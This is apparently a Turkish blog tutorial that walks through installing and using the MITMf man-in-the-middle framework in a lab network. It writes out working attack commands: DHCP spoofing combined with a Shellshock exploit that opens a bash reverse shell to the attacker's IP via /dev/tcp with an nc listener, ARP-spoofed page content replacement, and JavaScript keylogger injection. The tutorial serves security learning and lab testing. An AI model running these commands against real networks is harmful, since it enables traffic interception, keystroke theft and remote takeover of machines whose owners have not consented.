Merhaba
Network temelli saldırılardan bahsedildiğinde ilk akla gelen saldırı yöntemi ARP Zehirlemesidir. Eğer bir saldırgan bulunduğu ağ üzerinde ARP posining saldırısını başarı ile gerçekleştirirse, bir sonraki adım olarak bir çok farklı tekniği kullanabilir. Bu teknikler arasında HTML Injection, JS Keylogger, vb yaklaşımlar mevcuttur.
Bu yazıda yukarı belirtilen saldırıları gerçekleştirmeye olanak sağlayan bir araç olan MITMf’i analiz edeceğiz.
MITMF
MITMf network saldırıları için hazırlanmış olan python ile geliştirimeye devam eden bir frameworktür. En güzel özelliklerinden birisi ise plug-in desteğidir. İhtiyaç dahilinde istediğiniz özellikle bir plug-in yazmanızı mümkün kılmaktadır. Mevcutta var olan plug-in’lerin listesi aşağıdaki şekildedir.
- Spoof – ARP Spoofig saldırıları ile DNS ve DHCP gibi protokoller üzerin spoofing saldırıları gerçekleştirebilir.
- BeEFAutorun – Kurbanın işletim sistemi browser tipine göre BeEF modülünü aktifleştirir.
- AppCachePoison – Uygulama cache zehirleme saldırısı
- BrowserProfiler – Kurbanın tarayıcısında ki pluginleri tespit eder.
- CacheKill – Header bilgilerinin değiştirerek sayfanın cache’ini öldürür.
- FilePwn – bdfactory modülü ile zararlı yazılım saldırısı.
- Inject – Kurbana gönderilen HTTP içeriğine mudahale eder.
- JavaPwn – Java versiyonuna göre Java-drive-by saldırısı gerçekleştirir.
- jskeylogger – Kurbana gönderilen içeriği manipüle edere JS Keylogger saldırısı gerçekleştirir.
- Replace – Kurbana sunucu tarafından gönderilen içeriğin herhangi bir kısmını değiştirir.
- Upsidedownternet – HTML içerikleri resimleri 180 derece değiştirir :)
MITMf Kali üzerine Kurulumu
MITMf ilk çıktığında herhangi bir installation dökümanı bulunmamaktaydı. Bu konu ile ilgili ufak bir çalışma yapmış bulunmaktayım. Bu yazının yayınlandığı tarihte kurulum adımlarının eklenmesi ile ilgili pull request gönderilmiş bulunmaktadır. ( https://github.com/byt3bl33d3r/MITMf/pull/10 ).
Kurulum için aşağıdaki komutları sırasıyla çalıştırmanız yeterli olacaktır.
git clone https://github.com/byt3bl33d3r/MITMf.git mitmf ./install-bdfactory.sh apt-get install capstone python-nfqueue pip install pefile capstone
MITMf ile İlk Saldırı ve Shellshock
MITMf default olarak DHCP Spoofing saldırısını desteklemektedir. Bunun yanı sıra Shellshock zafiyetinide kullanabilen modülü aktifleştirilebilmektedir. Eğer gerçek DHCP sunucu ile saldırganın oluşturduğu DHCP sunucusu arasında ki “race condition” kazanılırsa Shellshock zafiyeti exploit edilmiş olacaktır.
python mitmf.py --spoof --iface wlan0 --dhcp --shellshock
Hedef sunucuda istenilen komut çalıştırılabildiği için shellshock zafiyetini reverse shell bağlantısı hedefleyerek exploit edeceğiz. Bunu için aşağıdaki komutu çalıştırabilirsiniz.
python mitmf.py --spoof --iface eth0 --dhcp --shellshock --cmd "/bin/bash -i >& /dev/tcp/172.16.153.128/21 0>&1"
Gelen bağlantıyı karşılayabilmke için ayrı bir terminalde aşağıda ki komutu çalıştırınız.
nc -lvp 21
Saldırgan tarafından aşağıda ki ekran görüntüsünde olduğu gibi shellshock zafiyetini exploit edecek saldırı başlatılmıştır ve DHCP talebinde bulunacak bir hedef beklenmektedir.
Networkte bulunan herhangi bir linux sunucu dhcp talebinde bulunduğuda ise aşağıdaki gibi bir bekleme olacaktır çünkü shellshock zafiyeti üzerinden saldırganın bilgisayarına bağlantı gerçekleşmiştir.
Saldırı sonucunda elde edilen reverse shell ise aşağıdaki gibi olacaktır.
NOT : Bu saldırının gerçekleştirildiğin networkte bulunan ve aktif olarak çalışan gerçek bir DHCP sunucusu bulunmaktadır. Shellshock zafiyetinin exploit edilmesi içinde DHCP sunucusunun ele geçirilmesi zorunlu değildir !
MITMf ile HTML Injection
172.16.153.129 ip adresine sahip kurban, http://lab.mehmetince.net/html.html adresine gitmek istemektedir. Sayfanın normalde görünen şekli aşağıdaki gibidir.
Saldırgan aşağıdaki komutu çalıştırarak kurbana sunucu tarafından gönderilen HTTP içeriğini modifiye ederek Mehmet kelimesi yerine Hacker kelimesini yazmaktadır.
python mitmf.py --spoof --arp --iface eth0 --gateway 172.16.153.2 --target 172.16.153.129 --replace --search-str 'Mehmet' --replace-str 'HACKER'
Komut çalıştığında aşağıdaki gibi komut satırı çıkacaktır ve replace işleminin gerçekleştiği durumlar belirtilmiş olacaktır.
Kurban ise bu durumdan habersiz bir şekilde çağırdığı sayfayı aşağıdaki şekilde görüntülemiş olacaktır.
MITMF JS Keylogger Özelliği
Kullanıcının html içeriğine müdahile edilebildiği için istenilen JS kodlarıda kurbanların internet tarayıcılarında çalıştırılabilir. JS kodları ile kullanıcının klavyesini dinlemeye imkan veren JSKeylogger özelliğini kullanmak için aşağıdaki komutu çalıştırmak yeterlidir.
python mitmf.py --spoof --arp --iface eth0 --gateway 172.16.153.2 --target 172.16.153.129 --jskeylogger
Kurban kişi linux.org adresini girmiştir ve bu sayfa açıkken bastigi tum tuslar kayit altina alınmıştır.
SONUÇ
MITMf aracı son derece başarılı ve kullanışlı olduğunu düşünüyorum. Bu yazıda demosunu gerçekleştirmediğim JavaDriveBy vb bir çok güzel özelliğini ise sizin test etmenizi önermekteyim.